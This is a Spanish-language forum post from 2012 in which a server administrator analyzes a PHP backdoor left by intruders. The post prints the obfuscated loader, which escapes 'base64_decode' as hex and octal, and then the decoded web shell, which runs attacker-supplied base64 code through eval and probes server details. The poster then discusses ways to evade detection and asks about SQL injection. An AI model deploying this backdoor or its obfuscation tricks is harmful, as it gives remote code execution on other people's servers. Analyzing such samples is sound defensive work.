Foro de elhacker.net

Seguridad Informática => Hacking => Mensaje iniciado por: Bud4 en 23 Febrero 2012, 20:14 pm



Título: Unicode, eval, php hack tool, sql injection?
Publicado por: Bud4 en 23 Febrero 2012, 20:14 pm
Hola:

Hace poco hackieron un server que administro, no estoy seguro como obtuvieron los password de un usuario ftp del sistema (probablemente un gusano en el pc del usuario), y bueno me puse a investigar no fue gran cosa aun asi me intereso por que el codigo es en php y encontre raro que eval pudiese ejecutar una funcion escrita con codigo unicode.

Código
  1. <?php //38200e90f44c94cb0073484daa4de93a
  2. $_=
  3. //ppZiAAS8dDJF9Q*(#_+@#TWyJ
  4. 'Ci8qKgogKiBAdmVyc2lvbiAyLjUKICogCiAqLwppZiAoaXNzZXQoJF9QT1NUWyJhY3Rpb24iXSkpCnsKICAgICAgICBzd2l0Y2ggKCRfUE9TVFsiYWN0aW9uIl0pCiAgICAgICAgewogICAgICAgICAgICAgICAgY2FzZSAidGVzdCI6CiAgICAgICAgICAgICAgICAgICAgICAgIHRlc3QoKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJyZWd1bGFyX3Rlc3QiOgogICAgICAgICAgICAgICAgICAgICAgICByZWd1bGFyX3Rlc3QoKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJtYWlsIjoKICAgICAgICAgICAgICAgICAgICAgICAgc2VuZCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICByZXR1cm47Cn0KCmlmIChjb3VudCgkX0dFVCkgPiAwKQp7CiAgICAgICAgZm9yZWFjaCAoJF9HRVQgYXMgJGlkID0+ICRjb2RlKQogICAgICAgIHsKICAgICAgICAgICAgICAgIGlmICgkaWQgPT0gImlkIikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNvZGUoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuOwp9CgpmdW5jdGlvbiB0ZXN0KCkKewogICAgICAgICRlbmNvZGVkX2RhdGEgPSAiIjsKCiAgICAgICAgJGRhdGFbInZlcnNpb24iXSA9IHBocHZlcnNpb24oKTsKICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbIlNFUlZFUl9TT0ZUV0FSRSJdKSkKICAgICAgICB7CiAgICAgICAgICAgICAgICAkZGF0YVsic2VydmVyYXBpIl0gPSAkX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl07CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgICAgICAkZGF0YVsic2VydmVyYXBpIl0gPSAiTm90IEF2YWlsYWJsZSI7CiAgICAgICAgfQogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgcGhwaW5mbyg4KTsKICAgICAgICAkZGF0YVsibW9kdWxlcyJdID0gb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfY2xlYW4oKTsKICAgICAgICAkZGF0YVsiZXh0X2Nvbm5lY3QiXSA9IGZvcGVuKCJodHRwOi8vd3d3LnlhLnJ1LyIsICJyIikgPyBUUlVFIDogRkFMU0U7CiAgICAgICAgJHNlcmlhbGl6ZXNfZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7CiAgICAgICAgJGVuY29kZWRfZGF0YSA9IGJhc2U2NF9lbmNvZGUoJHNlcmlhbGl6ZXNfZGF0YSk7CiAgICAgICAgZWNobyAkX1BPU1RbInRlc3RfbWVzc2FnZSJdIC4gJGVuY29kZWRfZGF0YTsKfQoKZnVuY3Rpb24gcmVndWxhcl90ZXN0KCkKewogICAgICAgIGVjaG8gJF9QT1NUWyJ0ZXN0X21lc3NhZ2UiXTsKfQoKZnVuY3Rpb24gc2VuZCgpCnsKICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJwcm9qZWN0Y29kZSJdKTsKICAgICAgCiAgICAgICAgZXZhbCgkY29kZSk7CiAgICAgICAgLy9yZXR1cm47Cn0K';
  5. //ppZiAAS8dDJF9Q*(#_+@#TWyJ
  6. $__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));
  7. ?>
  8.  

La primera sentencia del eval en estos casos deberia ser algun tipo ofuscacion compresion o hash, probe con base64_decode y al tercer paso pude ver el codigo

Código
  1. $code = base64_decode($_); eval($code);
  2.  
  3. /**
  4.  * @version 2.5
  5.  *
  6.  */
  7. if (isset($_POST["action"]))
  8. {
  9.        switch ($_POST["action"])
  10.        {
  11.                case "test":
  12.                        test();
  13.                        break;
  14.                case "regular_test":
  15.                        regular_test();
  16.                        break;
  17.                case "mail":
  18.                        send();
  19.                        break;
  20.                default:
  21.                        break;
  22.        }
  23.        return;
  24. }
  25.  
  26. if (count($_GET) > 0)
  27. {
  28.        foreach ($_GET as $id => $code)
  29.        {
  30.                if ($id == "id")
  31.                {
  32.                        $code();
  33.                }
  34.        }
  35.        return;
  36. }
  37.  
  38. function test()
  39. {
  40.        $encoded_data = "";
  41.  
  42.        $data["version"] = phpversion();
  43.        if (isset($_SERVER["SERVER_SOFTWARE"]))
  44.        {
  45.                $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"];
  46.        }
  47.        else
  48.        {
  49.                $data["serverapi"] = "Not Available";
  50.        }
  51.        ob_start();
  52.        phpinfo(8);
  53.        $data["modules"] = ob_get_contents();
  54.        ob_clean();
  55.        $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE;
  56.        $serializes_data = serialize($data);
  57.        $encoded_data = base64_encode($serializes_data);
  58.        echo $_POST["test_message"] . $encoded_data;
  59. }
  60.  
  61. function regular_test()
  62. {
  63.        echo $_POST["test_message"];
  64. }
  65.  
  66. function send()
  67. {
  68.        $code = base64_decode($_POST["projectcode"]);
  69.  
  70.        eval($code);
  71.        //return;
  72. }
  73.  
  74.  
  75.  

en cuestion esto es lo que me llama la atencion que base64_decode esta expresado como unicode
"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"

ademas de que en php se puede escribir como BaSe64_DecoDE o cualquier combiancion de mayusculas y minusculas tambien se pueden cambiar por ejemplo el \x62 por \162 (no se como interpreta php o cual es la diferencia entre x y 1)

tambien que se pueden intercalar caracteres normales por ejemplo "\x62"."a"."\x73"
y tambien como en el caso del numero 4 que viene despues de \6 que solo sirve en el caso de los numeros.

con esta pequenia ofuscacion en unicode se me ocurren varias cosas que se podrian hacer ya que no es intuitivo para muchos, les comparto lo que investigue y tambien me gustaria saber mas de unicode para testear otros tipos sql injection.

Saludos!

Nota: el hack fue solo un relay the spam con troyanos adjuntos en algunos casos.